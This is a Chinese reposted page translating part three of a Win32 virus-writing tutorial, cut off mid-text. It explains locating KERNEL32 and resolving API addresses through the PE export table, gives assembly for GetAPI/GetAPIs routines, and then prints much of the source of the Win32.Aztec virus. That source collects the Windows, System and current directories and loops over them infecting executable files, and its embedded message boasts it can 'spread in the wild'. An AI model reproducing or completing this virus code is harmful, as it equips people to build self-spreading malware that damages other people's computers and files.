您的位置:首页 > 其它

病毒编写教程---Win32篇(三)

2010-01-15 16:01 483 查看
%获取那些令人疯狂的API函数!!!%
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
正如我在介绍那一章所介绍的,Ring-3是用户级的,所以我们只能访问它的有限的权限。例如,我们不能使用端口,读或写某些的内存区域,等等。当开发Win95(那些再也没有人说的"Win32平台是不可感染"的系统)的时候,微软如果压制住过去所编写的病毒,微软就确信能够击败我们。在他们的美梦中,他们认为我们不能使用他们的API函数,而且,他们更没想到我们能跳转到Ring-0,但是,这是另外一段历史了。
正如你以前所说的,我们以API函数名作为外部函数,所以import32.lib给了我们函数的地址,而且它已经汇编了,但是我们在写病毒的时候有一个问题。如果我们hardcode(也就是说我们调用一个API函数的时候给的是一个固定的偏移地址),最可能发生的事情是在下一个版本的Win32版本中,那个地址再也不起作用了。你可以看看Bizatch中的一个例子。我们该怎么做呢?好了,我们有一个函数叫做GetProcAddress,它返回给我们的是我们所需要的API的地址。聪明的你可能已经注意到了GetProcAddress也是一个API,所以如果我们没有得到那个API还谈什么利用它来搜索其它API呢。正如在生活中我们所遇到的事情一样,我们有许多可能性的东西去做,而且我将提及我认为最好的两种方法:

1.在输入表中搜索GetProcAddress API函数。
2.当我们感染一个文件的时候,在它的输入函数里寻找GetProcAddress。

因为最早的方法是第一个,猜猜现在我将会解释哪一个呢?:)OK,让我们以理论学习开始,在这之后,一些代码。
如果你看看PE头的格式,我们在偏移地址78h(是PE头,不是文件!)得到输入表。好了,我们需要利用内核的输出地址。在Window 95/98下,内核通常在偏移地址0BFF70000h处,而Window NT的内核看起来是在077F00000h处。在Win2K中我们在偏移地址077E00000h (077D10000h [XP] 077D10150h)处得到它。所以,首先,我们把它的地址保存到寄存器中,我们将用来作为指针。我强烈建议使用ESI,主要是因为我们可以通过使用LODSD来优化一些东西。好了,我们检查在这个地址处是不是"MZ"(恩反过来为"ZM",该死的intel处理器架构),因为内核是一个库(.DLL),而库有一个PE头,正如我们以前看PE头的时候,是DOS-兼容的一部分的时候所看到的。在那个比较之后,让我们检查它是不是PE,所以我们到头的偏移image_base(077D10000h)+[3Ch] (=内核的偏移地址+内核的PE头的3Ch偏移),搜索比较"PE/0/0",PE文件的签名。
如果所有都正确,那么让我们继续。我们需要输出表的RVA,正如你所能看到的,它在PE头的偏移地址78h处。所以我们得到了它。但是,正如你所知道的,RVA(Relative Virtual Address),正如它的名字所表明的,是和一个OFFSET的相对值,在这种image base为kernel的情况下,正如我以前所说的,那就是它的地址。就这么简单:仅仅把kernel的偏移加上在输出表(Export Table)中的RVA即可。好了,我们现在已经在输出表中了:)
让我们看看它的格式: 077D10150h
---------------------------------- <----+00000000h
| Export Flags | Size : 1 DWORD
|----------------------------------|<----+00000004h
| Time/Date stamp | Size : 1 WORD
|----------------------------------|<----+00000006h
| Major version | Size : 1 WORD
|----------------------------------|<----+00000008h
| Minor version | Size : 1 DWORD
|----------------------------------|<----+0000000Ch
| Name RVA | Size : 1 DWORD
|----------------------------------|<----+00000010h
| Number Of Exported Functions | Size : 1 DWORD
|----------------------------------|<----+00000014h
| Number Of Exported Names | Size : 1 DWORD
|----------------------------------|<----+00000018h
| Export Address Table RVA | Size : 1 DWORD
|----------------------------------|<----+0000001Ch
| Export Name Pointers Table RVA | Size : 1 DWORD (077D1016Ch)
|----------------------------------|<----+00000020h
| Export Ordinals RVA | Size : 1 DWORD
|__________________________________|
Total Size : 24h BYTES

对我们来说是最后6个域。在地址表RVA的值中,正如你能想象的是,Name Pointers RVA 和 Ordinals RVA都是和KERNEL32的基址相关的。所以,获得API地址的第一步是知道这个API的位置,而知道它的最简单的方法是到Name Pointers所指示的偏移地址处去寻找,把它和我们想要找的API做比较,如果它们完全相同,我们就要计算API的偏移地址了。好了,我们已经到了这一步了,而且我们在计数器中有一个值,因为我们没检查一次API的名字就加一次。这个计数器,正如你能想象的,将会保存我们已经找到的API名字的个数,而且它们不相等。这个计数器可以是一个字或一个双字,但是最好不要是一个字节,因为我们需要超过255个API函数:)
说明:我假设你把地址的VA(RVA+kernel image base)
[kernel image base =0x7C920000]
[PE Offser =0x7C9200E0]
[RVA Offset = PE Offset+78h]
[RVA +sizeof(DWORD)*4]
,Name 和 (序数表)Ordinal tables已经保存到相关的变量中了。
OK,假设我们已经获得了我们想要得到的API的名字,所以,我们得到了它在名字指针表中的计数。接下来可能对你来说是最复杂的,开始Win32编码。嗯,让我们继续下去。我们得到了计数,而且我们现在要在Ordinal Table(一个dword数组)中搜索我们想要得到的API的序数。当我们得到了API在数组(在计数器)中的数字,我们仅仅把它乘以2(记住,序数数组是由字组成的,所以,我们必须对字进行计算...),而且当然了,把它加上序数表的开始偏移地址。为了继续我已经解释的东西,我们需要由下面公式指向的字:

API's Ordinal location: ( counter * 2 ) + Ordinal Table VA

很简单,是不是啊?下一步(而且是最后一步)是从地址表中获得API的确定地址。我们已经得到了API的序号,对吗?利用它,我们的生活变得非常容易。我们只有把序号乘以4(因为地址数组是双字形式的而不是字,而一个双字的大小是4),而且把它加上先前得到的地址表开始的偏移地址。呵呵,现在,我们得到了API地址的RVA啦。所以我们要把它规范化,加上Kernel的偏移地址,那样就好了。我们得到了它!!!让我们看看这个的数学公式:

API's Address: ( API's Ordinal * 4 ) + Address Table VA + KERNEL32 imagebase

--------------------------------------------------------------------- So, as we retrieve the position
| EntryPoint | Ordinal | Name | that occupies the string in the
|--------------------|---------------|-------------------------------| Names table, we can know its
| 00005090 | 0001 | AddAtomA | ordinal (each name has an ordi-
|--------------------|---------------|-------------------------------| nal that is in the same position
| 00005100 | 0002 | AddAtomW | than the API name), and knowing
|--------------------|---------------|-------------------------------| the ordinal, we can know its
| 00025540 | 0003 | AddConsoleAliasA | Address, that is, its entrypoint
|--------------------|---------------|-------------------------------| RVA. We normalize it, and voila,
| 00025500 | 0004 | AddConsoleAliasW | you have what you need, the
/////////////////////////////////////////// required API address.

[...]这些表还有更多的入口,但是有那些就足够了...
我希望你已经理解了我解释的东西。我试图尽可能的使它表述简单,如果你不能理解它,不要往下看了,一步一步地重读它。要有耐心。我肯定你会懂地。嗯,现在你可能需要一些代码了。下面给出我例程,作为一个示例,在我的Iced Earth病毒中用到了。

;----从这儿开始剪切-----------------------------------------------------------
;
; GetAPI & GetAPIs procedures
; ===========================
;
; 这是我的寻找所有需要的API的函数... 它们被分成了两部分。
; GetAPI函数仅仅获得了我们需要的一个函数, 而GetAPIs函数
; 则搜索病毒所需要的所有API函数。
;

GetAPI proc

;--------------------------------------------------------------------------
; 让我们来看看,这个函数需要和返回的参数如下:
;
;
; 输入: ESI : 指向API名字的指针 (区分大小写)
; 输出: EAX : API 地址
;--------------------------------------------------------------------------

mov edx,esi ; Save ptr to name
@_1: cmp byte ptr [esi],0 ; Null-terminated char?
jz @_2 ; Yeah, we got it.
inc esi ; Nopes, continue searching
jmp @_1 ; bloooopz...
@_2: inc esi ; heh, don't forget this ;)
sub esi,edx ; ESI = API Name size
mov ecx,esi ; ECX = ESI :)

;--------------------------------------------------------------------------
; 好了,我亲爱的朋友们,这很容易理解。我们在ESI中是指向API名字开始
; 的指针,让我们想象一下,我们想要寻找"FindFirstFileA":
;
; FFFA db "FindFirstFileA",0
; ↑ 指针指向这儿
;
; 而且我们需要保存这个指针,并知道了API名的大小,所以
; 我们把指向API名字的初始指针保存到一个我们不用的寄存器中如EDX
; 然后增加在ESI中的指针的值,直到[ESI]=0
;
; FFFA db "FindFirstFileA",0
; ↑ 现在指针指向这儿了
;
; 也就是说,以NULL结尾:)然后,通过把新指针减去旧指针,我们得
; 到了API名字的大小,搜索引擎需要它。然后我把它保存到ECX中,
; 也是一个我们不会使用的寄存器。
;---------------------------------------------------------------------------

xor eax,eax ; EAX = 0
mov word ptr [ebp+Counter],ax ; Counter set to 0

mov esi,[ebp+kernel] ; Get kernel's PE head. offset
add esi,3Ch
lodsw ; in AX
add eax,[ebp+kernel] ; Normalize it

mov esi,[eax+78h] ; Get Export Table RVA
add esi,[ebp+kernel] ; Ptr to Address Table RVA
add esi,1Ch

;---------------------------------------------------------------------------
; 首先,我们清除EAX,然后为了避免无法预料的错误,使得计数变量为0。
; 如果你还记得PE文件头偏移地址3CH(从映象基址MZ标志开始计数)的作用,
; 你会理解这个的。我们正在请求得到KERNEL32 PE头偏移的开始。因为
; 它是一个RVA,我们把它规范化,那就是我们得到了它的PE头偏移地址。
; 现在我们所要做的是获得输出表(Export Table)的地址(在PE头+78h处),
; 然后,我们避开这个结构的不想要的数据,直接获得地址表(Address Table)
; 的RVA。
;---------------------------------------------------------------------------

lodsd ; EAX = Address Table RVA
add eax,[ebp+kernel] ; Normalize
mov dword ptr [ebp+AddressTableVA],eax ; Store it in VA form

lodsd ; EAX = Name Ptrz Table RVA
add eax,[ebp+kernel] ; Normalize
push eax ; mov [ebp+NameTableVA],eax

lodsd ; EAX = Ordinal Table RVA
add eax,[ebp+kernel] ; Normalize
mov dword ptr [ebp+OrdinalTableVA],eax ; Store in VA form

pop esi ; ESI = Name Ptrz Table VA

;---------------------------------------------------------------------------
; 如果你还记得,在ESI中是指向地址表RVA(Address Table RVA)的指针,所以,
; 我们为了得到那个地址,用了一个LODSD,它把由ESI所指定的双字(DWORD)保
; 存到EAX中。因为它是一个RVA,我们需要对它规范化。
;
; 让我们看看Matt Pietrek关于这个第一个域的描述:
;
; “这个域是一个RVA而且指向一个函数地址数组。这个函数地址是这个模块中
; 每一个输出地址的入口点(RVA)。”
;
;
; 毫无疑问了,我们把它保存到它的变量中了。然后,接下来我们找到的
; 是名字指针表(Name Pointers Table),Matt Pietrek的描述如下:
;
; “这个域是一个RVA,而且指向一个字符串指针数组。这些字符串是模块
; 的输出函数的名字。”
;
; 但是我没有把它保存到一个变量中,我把它压栈,仅仅是因为我很快就要用到
; 它。最终,我们找到了,下面是Matt Pietrek关于它的描述:
;
; “这个域是一个RVA,而且指向一个字(WORD)数组。这些字是这个模块
; 的所有输出函数的序号”。
;
; 好了,那就是我们所做的事情。
;---------------------------------------------------------------------------

@_3: push esi ; Save ESI for l8r restore
lodsd ; Get value ptr ESI in EAX
add eax,[ebp+kernel] ; Normalize
mov esi,eax ; ESI = VA of API name
mov edi,edx ; EDI = ptr to wanted API
push ecx ; ECX = API size
cld ; Clear direction flag
rep cmpsb ; Compare both API names
pop ecx ; Restore ECX
jz @_4 ; Jump if APIs are 100% equal
pop esi ; Restore ESI
add esi,4 ; And get next value of array
inc word ptr [ebp+Counter] ; Increase counter
jmp @_3 ; Loop again

;---------------------------------------------------------------------------
; 嗨,是不是我放了太多的代码而没有注释?因为我刚做好,但是懂得了这一块代码
; 不能因为解释它而分离开来。我们首先所做的是把ESI(在CMPSB指令执行中将改变)
; 压栈,以备后用。然后,我们获得由ESI(Name Pointerz Table)指向的双字保存到
; 累加器(EAX)中,所有这些通过LODSD指令实现。我们通过加上kernel的基址来规范
; 化它。好了,现在我们在EAX中是指向某一个API名字的指针,但是我们不知道(仍然)
; 是什么API。例如,EAX可以指向诸如"CreateProcessA",而这个API对我们的病毒来
; 说不感兴趣...为了把那个字符串和我们想要的字符串(现在由EDX指向),我们有CMPSB。
; 所以,我们准备它的参数:在ESI中,我们使得指针指向现在在Name Pointerz Table中
; 的API的开始,在EDI中,我们使之指向需要的API)。在ECX中我们保存它的大小,
; 然后我们按字节比较。如果所有的字符相等,就设置0标志,然后跳转到获取那个API
; 地址的例程,但是如果它失败了,我们恢复ESI,并把它加上DWORD的大小,为了获取
; 在Name Pointerz Table数组中的下一个值。我们增加计数器的值(非常重要),然后
; 继续搜索。
;---------------------------------------------------------------------------

@_4: pop esi ; Avoid shit in stack
movzx eax,word ptr [ebp+Counter] ; Get in AX the counter
shl eax,1 ; EAX = AX * 2
add eax,dword ptr [ebp+OrdinalTableVA] ; Normalize
xor esi,esi ; Clear ESI
xchg eax,esi ; EAX = 0, ESI = ptr to Ord
lodsw ; Get Ordinal in AX
shl eax,2 ; EAX = AX * 4
add eax,dword ptr [ebp+AddressTableVA] ; Normalize
mov esi,eax ; ESI = ptr to Address RVA
lodsd ; EAX = Address RVA
add eax,[ebp+kernel] ; Normalize and all is done.
ret

;---------------------------------------------------------------------------
; Pfff, 又一个巨大的代码块,而且看起来很难理解,对吗?呵呵,不要害怕,我将要
; 注释它:)
; 呃,pop指令是为了清除堆栈,我们把计数值(因为它是一个WORD)放置到EAX的低位
; 中,并把这个寄存器的高位清0。我们把它乘以2,因为我们只得到了它的数字,
; 而且我们要搜索的数组是一个WORD数组。现在把它加上指向我们要搜索的数组开始的
; 指针,而在EAX中是我们想要的API的指针的序号。所以我们把EAX保存到ESI中为了使
; 用那个指针来获取它指向的值,也就是说,序号保存到EAX中,用简单的LODSW。
; 嗨,我们得到了序号,但是我们想要的是API代码的入口(EntryPoint),所以,我们
; 把序数(保存了想要的API在地址表中的入口点位置)乘上4,也就是说DWORD的大小,
; 然后我们得到了一个RVA值,和Address Table RVA 相关,所以我们规范化,那么现在
; 我们在EAX中得到的是指向地址表中的API的入口点的指针。我们把EAX赋给ESI,在EAX
; 中得到了指向的值。这样我们在EAX中得到了需要的API的入口RVA的值。嗨,现在我们
; 必须要做的是把那个地址和KERNEL32的基址规范化,瞧,做好了,我们在EAX中
; 得到了API的真正地址!!!;)
;---------------------------------------------------------------------------

GetAPI endp

;---------------------------------------------------------------------------
;---------------------------------------------------------------------------

GetAPIs proc

;---------------------------------------------------------------------------
; Ok, 这是通过使用以前的函数来获得所有API的代码,它的参数为:
;
; 输入: ESI : 指向想要得到的第一个API名字ASCII码的首地址
; EDI : 指向将要保存的想要得到第一个API的变量
; 输出: 无。
;
; 好了,我假设你想要获得的所有值的结构如下:
;
; ESI 指向 → db "FindFirstFileA",0
; db "FindNextFileA",0
; db "CloseHandle",0
; [...]
; db 0BBh ; 标志着这个数组的结束
;
; EDI 指向 → dd 00000000h ; FFFA 的将来的地址
; dd 00000000h ; FNFA 的将来的地址
; dd 00000000h ; CH 的将来的地址
; [...]
; 我希望你足够聪明,能理解它。
;---------------------------------------------------------------------------

@@1: push esi
push edi
call GetAPI
pop edi
pop esi
stosd

;---------------------------------------------------------------------------
; 我们把在这个函数中处理的值压栈为了避免它们改变,并调用GetAPI函数。
; 我们假设现在ESI是一个指向想要的API名字的指针,EDI是指向要处理API名字的变量
; 的指针。因为函数在EAX中返回给我们API的偏移地址,我们通过使用STOSD把它保存到
; 由EDI指向的相关变量中。
;---------------------------------------------------------------------------

@@2: cmp byte ptr [esi],0
jz @@3
inc esi
jmp @@2
@@3: cmp byte ptr [esi+1],0BBh
jz @@4
inc esi
jmp @@1
@@4: ret
GetAPIs endp

;---------------------------------------------------------------------------
; 可以更优化,我知道,但是,为了更好为我的解释服务。我们首先所做的是到达我们
; 以前请求的地址的字符串的尾部,现在它指向下一个API。但是我们想要知道它是否
; 是最后一个API,所以我们检查我们的标志,字节0BBh(猜猜为什么是0BBh?)。如果它
; 是,我们就已经得到了所有需要的API,而如果不是,我们继续我们的搜索。
;---------------------------------------------------------------------------

;------到这儿为止剪切-------------------------------------------------------

呵呵,我尽可能的使得这些过程简单,而且我注释了很多,你将会不通过复制就可以理解了。而且如果你
你复制也不是我的问题...呵呵,我没有不允许你复制它:)但是,现在的问题是我们该搜索什么API呢?这主要依赖于在进行PE操作之前方式。我将给你演示一个直接行为(即运行期)版本的一个病毒,它使用了文件映射计数(更容易操作和更快地感染),我将会列出你能使用地API函数。

%一个病毒示例%
~~~~~~~~~~~~~~
不要认为我疯了,我将在这里放一个病毒的代码仅仅是为了避免烦人的解释所有API的东西,而且还可以看看它们的作用:)好了,下面你得到的是我的最近的创造。我花了一个下午来完成它:我把它基于Win95.Iced Earth,但是没有bug和特殊功能。享受这个Win32.Aztec!(Yeah, Win32!!!)。

;----从这儿开始剪切-----------------------------------------------------------
; [Win32.Aztec v1.01] - Iced Earth的Bug修复版本
; Copyright (c) 1999 by Billy Belcebu/iKX
;
; 病毒名 : Aztec v1.01
; 病毒作者 : Billy Belcebu/iKX
; 国籍 : Spain(西班牙)
; 平台 : Win32
; 目标 : PE 文件
; 编译 : TASM 5.0 和 TLINK 5.0 用
; tasm32 /ml /m3 aztec,,;
; tlink32 /Tpe /aa /c /v aztec,aztec,,import32.lib,
; pewrsec aztec.exe
; 说明 : 现在所有东西都是特别的了。只是Iced Earth病毒的bug修复,并移除了一些特殊功能
; 这是一个学习Win32病毒的真正病毒。
; 为什么'Aztec'? : 为什么叫这个名字呢?许多原因:
; ?如果有一个 Inca 病毒和一个 Maya 病毒... ;)
; ?我在 Mexico 生活过6个月
; ?I hate the fascist way that Hernan Cortes used for steal
; their territory to the Aztecs
; ?I like the kind of mithology they had ;)
; ?我的声卡是一个 Aztec的 :)
; ?我爱 Salma Hayek! :)~
; ?KidChaos 是我的一个朋友 :)
; 问候 : 这次只向所有在EZLN 和 MRTA的人问候。
; 祝所有人好运,和... 继续战斗!
;
; (c) 1999 Billy Belcebu/iKX

.386p ; 需要386+ =)
.model flat ; 32 位寄存器, 没有段.
jumps ; 为了避免跳出范围

extrn MessageBoxA:PROC ; 第一次产生的时候输入的API函数:)
extrn ExitProcess:PROC ;

; 病毒的一些有用的equ

virus_size equ (offset virus_end-offset virus_start)
heap_size equ (offset heap_end-offset heap_start)
total_size equ virus_size+heap_size
shit_size equ (offset delta-offset aztec)

; 仅仅是为第一次产生的时候编码的, 不要担心 ;)

kernel_ equ 0BFF70000h
kernel_wNT equ 077F00000h

.data

szTitle db "[Win32.Aztec v1.01]",0

szMessage db "Aztec is a bugfixed version of my Iced Earth",10
db "virus, with some optimizations and with some",10
db "'special' features removed. Anyway, it will",10
db "be able to spread in the wild succefully :)",10,10
db "(c) 1999 by Billy Belcebu/iKX",0

;---------------------------------------------------------------------------
; 所有这些都是狗屎:有一些宏可以使得这些代码更好看,而且有一些是为
; 第一次产生时用的,等等。
;---------------------------------------------------------------------------

.code

virus_start label byte

aztec:
pushad ; Push 所有寄存器
pushfd ; Push FLAG 寄存器

call delta ; 最难理解的代码 ;)
delta: pop ebp
mov eax,ebp
sub ebp,offset delta

sub eax,shit_size ; Obtain the Image Base on
sub eax,00001000h ; the fly
NewEIP equ $-4
mov dword ptr [ebp+ModBase],eax

;---------------------------------------------------------------------------
; Ok. 首先,我把所有的寄存器和所有的标志都压栈了(不是因为需要这么做,仅仅是
; 因为我一直喜欢这么做)。然后,我所做的都是非常重要的。是的!它是delta offset!
; 我们必须得到它因为原因你必须知道:我们不知道我们是在内存的哪里执行代码,所
; 以通过这个我们就能很容易地知道它...我不会告诉你更多关于delta offset的东西了,
; 因为我肯定你已经从DOS编码就知道了;)接下来是获得当前进程的基址(Image Base),
; 这需要返回控制权给主体(将会在以后做)。首先我们减去在delta标志和aztec标志
; (7 bytes->PUSHAD (1)+PUSHFD (1)+CALL (5))的字节,然后我们减去当前的EIP
; (在感染的时候补丁),也就是说我们得到了当前的基址(Image Base)。
;---------------------------------------------------------------------------

mov esi,[esp+24h] ; 获得程序返回地址
and esi,0FFFF0000h ; 和10页对其
mov ecx,5 ; 50 页 (10组)
call GetK32 ; 调用它
mov dword ptr [ebp+kernel],eax ; EAX 必须是 K32 的基址

;---------------------------------------------------------------------------
; 首先,我们从调用的进程(它在,可能为CreateProcess API函数)中得到的地址放到
; ESI中,它最初是由ESP所指向的地址,但是当我们使用堆栈压了24个字节(20被PUSHAD,
; 其它的为PUSHFD),我们不得不修正它。然后我们使它按10页对齐,使ESI的低位为0。
; 在这之后,我们设置GetK32函数的其它参数,ECX,保存着要搜索的10页的最大组数,
; 为5(也就是说5*10=50页),然后我们调用函数。当它返回给我们正确的KERNEL32的
; 基址之后,我们把它保存起来。
;---------------------------------------------------------------------------

lea edi,[ebp+@@Offsetz]
lea esi,[ebp+@@Namez]
call GetAPIs ; 找到所有的API

call PrepareInfection
call InfectItAll

;---------------------------------------------------------------------------
; 首先,我们设置GetAPIs函数的参数,就是在EDI中是一个指针,这个指针指向将要
; 保存API地址的DWORD数组,在ESI是所有要搜索的API函数的ASCII名字。
;---------------------------------------------------------------------------

xchg ebp,ecx ; 是不是第一次产生?
jecxz fakehost

popfd ; 恢复所有的标志
popad ; 恢复所有的寄存器

mov eax,12345678h
org $-4
OldEIP dd 00001000h

add eax,12345678h
org $-4
ModBase dd 00400000h

jmp eax

;---------------------------------------------------------------------------
; 首先,我们看看我们是不是在第一次产生病毒,通过检测EBP的值是否为0。如果是,
; 我们跳转到第一次产生的地方。但是,如果它不是,我们先从堆栈中恢复标志寄存器,
; 接下来是所有的寄存器。然后我们的指令是给EAX赋感染后的程序旧入口地址(在感染
; 的时候补丁),然后我们把它加上当前进程(在运行期补丁)的基址,我跳到它那里。
;---------------------------------------------------------------------------

PrepareInfection:
lea edi,[ebp+WindowsDir] ; 指向第一个目录
push 7Fh ; 把缓存的大小压栈
push edi ; 把缓存的地址压栈
call [ebp+_GetWindowsDirectoryA] ; 获取windows目录

add edi,7Fh ; 指向第二个目录
push 7Fh ; 把缓存的大小压栈
push edi ; 把缓存的地址压栈
call [ebp+_GetSystemDirectoryA] ; 获取 windows/system 目录

add edi,7Fh ; 指向第三个目录
push edi ; 把缓存的地址压栈
push 7Fh ; 把缓存的大小压栈
call [ebp+_GetCurrentDirectoryA] ; 获取当前目录
ret

;---------------------------------------------------------------------------
; 这是一个简单的用来获取病毒将要搜索文件来感染的所有目录,并按这个特定顺序。
; 因为一个目录的最大长度是7F字节,我已经保存到堆栈(看下面)的三连续变量中,
; 因此避免无用的代码占更多的字节,和随病毒传播无用的数据。请注意在最后一个
; API中没有任何错误,因为在那个API中,顺序改变了。让我们对那个API做一个更
; 深的分析:
;
; GetWindowsDirectory函数得到Windows的目录。Windows目率包含了一些基于Windows
; 的应用程序,初始化文件,和帮助文件。
;
; UINT GetWindowsDirectory(
; LPTSTR lpBuffer, // 保存Windows目录的缓存地址
; UINT uSize // 目录缓存的大小
; );
;
; 参数
; ====
; ?lpBuffer: 指向接受NULL结尾的包含路径的字符串的缓存。这个路径不是以一个
; 反斜线符号结束的,除非Windows目录是根目录。例如,如果Windows目录是在C
; 盘上的以WINDOWS命名的,那么这个函数返回的Windows目录是C:/WINDOWS.如果
; Windows是安装在C盘的根目录上的,返回的路径是C:/。
; ?uSize: 指定被lpBuffer参数指向的缓存的字符最大个数。这个值应该设置成至少
; 为MAS_PATH来为路径指定足够的空间。
;
; 返回值
; ======
;
; ?如果函数成功执行了,返回值是复制到缓冲区的字符个数,不包括NULL结尾符。
; ?如果长度比缓冲区的大小还要大,返回值将是缓冲区所需要保存路径所需要的
; 大小。
;
; ---
;
; GetSystemDirectory 函数得到的是Windows系统目录,系统目录包括诸如Windows库
; 驱动和字体文件。
;
; UINT GetSystemDirectory(
; LPTSTR lpBuffer, // 保存系统目录的缓冲区
; UINT uSize // 目录缓冲区的大小
; );
;
;
; 参数
; ====
;
; ?lpBuffer: 指向接受以NULL结尾的包含路径的字符串的缓冲区。这个路径不是以一个
; 反斜线符号结尾的,除非系统目录是根目录。例如,如果系统目录是在C盘上的名为
; WINDOWS/SYSTEM,那么这个函数返回的系统目录路径为C:/WINDOWS/SYSTEM。
;
; ?uSize: 指定缓冲区的最大字符个数。这个值应该被设置成最小MAX_PATH。
;
; 返回值
; ======
;
; ?如果函数成功了,返回值是复制到缓冲区中的字符个数,不包括NULL结尾字符。
; 如果长度大于缓冲区的大小,返回值是保存路径的缓冲区所需要的大小。
;
; ---
;
; GetCurrentDirectory 函数得到的是当前进程的当前目录。
; current process.
;
; DWORD GetCurrentDirectory(
; DWORD nBufferLength, // 目录缓冲区的字符个数
; LPTSTR lpBuffer // 保存当前目录的缓冲区地址
; );
;
; 参数
; ====
;
; ?nBufferLength: 保存当前目录字符串的缓冲区的字符个数。缓冲区的长度必须包括
; NULL字符在内。
;
; ?lpBuffer: 指向保存当前目录字符串缓冲区的字符串。这个以NULL结尾的字符串保存
; 的是当前目录的绝对路径。
;
; 返回值
; ======
;
; ?如果函数成功执行了,返回的值是写到缓冲区的字符个数,不包括NULL字符。
;---------------------------------------------------------------------------

InfectItAll:
lea edi,[ebp+directories] ; 指向第一个目录
mov byte ptr [ebp+mirrormirror],03h ; 3 个目录
requiem:
push edi ; 设置由EDI指向的目录
call [ebp+_SetCurrentDirectoryA]

push edi ; 保存EDI
call Infect ; 感染选定的目录的所有文件
pop edi ; 恢复EDI

add edi,7Fh ; 另外一个目录

dec byte ptr [ebp+mirrormirror] ; 计数器-1
jnz requiem ; 是最后一个吗?不是,再来
ret

;---------------------------------------------------------------------------
; 我们开始所做的是使EDI指向数组中的第一个目录,然后我们设置我们想要感染的目录
; 个数(dirs2inf=3)。好了,然后我们开始主循环。它包括如下:我们改变目录到当前
; 选定的目录下面,我们感染所有那个目录的所有想要感染的文件,然后我们得到了另外
; 一个目录知道我们完成了我们想要感染的3个目录。简单,啊?:)该看看SetCurrentDirectory
; 这个API函数的特征了:
;
; SetCurrentDirectory 为当前进程改变当前目录。
;
; BOOL SetCurrentDirectory(
; LPCTSTR lpPathName // 当前新目录的名字地址
; );
;
; 参数
; ====
;
; ?lpPathName: 指向一个以NULL字符结尾的字符串,这个字符串保存当前新目录的
; 名字。这个参数可以是一个相对路径,还可以是绝对路径。在每种情况下,都是
; 计算并保存的当前目录的绝对路径。
;
; 返回值
; ======
;
; ?如果函数成功执行,返回的是非0值。
;---------------------------------------------------------------------------

Infect: and dword ptr [ebp+infections],00000000h ; reset countah

lea eax,[ebp+offset WIN32_FIND_DATA] ; Find's shit structure
push eax ; Push it
lea eax,[ebp+offset EXE_MASK] ; Mask to search for
push eax ; Push it

call [ebp+_FindFirstFileA] ; Get first matching file

inc eax ; CMP EAX,0FFFFFFFFh
jz FailInfect ; JZ FAILINFECT
dec eax

mov dword ptr [ebp+SearchHandle],eax ; Save the Search Handle

;---------------------------------------------------------------------------
; 这是感染例程的第一部分。第一行仅仅是为了用一个更为优化的方法(此例中的AND
; 比mov更小)清除感染计数器(即设置成0)。在感染计数器已经重置之后,该是搜索
; 文件来感染的时候了;)OK,在DOS中,我们有INT 21h的4Eh/4Fh服务...现在在Win32
; 中,我们有两个等价的API函数:FindFirstFile 和 FindNextFile。现在我们想要
; 搜索目录中的第一个文件。所有的Win32中的寻找文件的函数都有一个结构(你还记得
; DTA吗?)叫做WIN32_FIND_DATA(许多时候简称WFD)。让我们看看这个结构的域:
;
; MAX_PATH equ 260 <-- 路径的最大大小
;
; FILETIME STRUC <-- 处理时间的结构,在很多Win32
; FT_dwLowDateTime dd ? 结构中都有
; FT_dwHighDateTime dd ?
; FILETIME ENDS
;
; WIN32_FIND_DATA STRUC
; WFD_dwFileAttributes dd ? <-- 包含了文件的属性
; WFD_ftCreationTime FILETIME ? <-- 文件创建的时间
; WFD_ftLastAccessTime FILETIME ? <-- 文件的最后访问时间
; WFD_ftLastWriteTime FILETIME ? <-- 文件的最后修改时间
; WFD_nFileSizeHigh dd ? <-- 文件大小的高位
; WFD_nFileSizeLow dd ? <-- 文件大小的低位
; WFD_dwReserved0 dd ? <-- 保留
; WFD_dwReserved1 dd ? <-- 保留
; WFD_szFileName db MAX_PATH dup (?) <-- ASCII形式的文件名
; WFD_szAlternateFileName db 13 dup (?) <-- 除去路径的文件名
; db 03 dup (?) <-- Padding
; WIN32_FIND_DATA ENDS
;
; ?dwFileAttributes: 决定找到的文件的属性。这个成员可以为一个或更多的值[在
; 这里因为空间关系就不列举了:你可以在29A的INC文件(29A#2)和以前的文档中找
; 到]
;
; ?ftCreationTime: 包含了一个FILETIME结构包含了文件创建的时间。FindFirstFile
; 和FindNextFile以Coordinated Universal Time (UTC) 格式报告文件的时间。如果
; 文件系统包含的文件不支持这个时间成员的话,这两个函数会把FILETIME的成员设
; 置成0。你可以使用FileTimeToLocalFileTime函数来把UTC转化成本机时间,然后
; 使用FileTimeToSystemTime函数把本机时间转化成一个SYSTEMTIME结构的包含月,
; 日,年,星期,小时,分,秒,和毫秒。
;
; ?ftLastAccessTime: 保存了一个FILETIME结构,包含了文件最后访问的时间。这个
; 时间是UTC形式;如果文件系统不支持这个时间成员,FILETIME的成员就是0。
;
; ?ftLastWriteTime: 保存了一个FILETIME结构包含了文件的最后修改时间。时间是
; UTC格式的;如果文件系统不支持这个时间成员,FILETIME的成员就是0。
;
; ?nFileSizeHigh: 保存了DWORD类型的文件大小的高位。如果文件大小比MAXDWORD大
; 的话,这个值为0。文件的大小等于(nFileSizeHigh * MAXDWORD)+ nFileSizeLow。
;
; ?nFileSizeLow: 保存了DWORD类型的文件大小的低位。
;
; ?dwReserved0: 保留为将来使用。
;
; ?dwReserved1: 保留为将来使用。
;
; ?cFileName: 一个NULL字符结尾的字符串是文件的名字。
;
; ?cAlternateFileName: 一个以NULL结尾的字符串保存的是文件的可选名。这个名字
; 是古典的8.3(filename.ext)文件名格式。
;
; 当我们知道了WFD结构的域之后,我们可以更深一层地去"寻找"Windows地函数。首先
; 让我们来看看FindFirstFileA这个API地描述:
;
; FindFirstFile 函数在一个目录中搜索一个和指定地文件名符合的文件。FindFirstFileA
; 还检查子目录名。
;
; HANDLE FindFirstFile(
; LPCTSTR lpFileName, // 指向要搜索的文件名
; LPWIN32_FIND_DATA lpFindFileData // 指向返回信息
; );
;
; 参数
; ====
;
; ?lpFileName: A. Windows 95: 指向一个以NULL结尾的指定一个合法的目录或路径和
; 文件名字符串,它可以包含通配符(*和?)。这个字符串不能超过
; MAX_PATH个数。
;
; B. Windows NT: 指向一个以NULL结尾的指定一个合法的目录或路径和
; 文件名字符串,它不能包含通配符(*和?)。
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: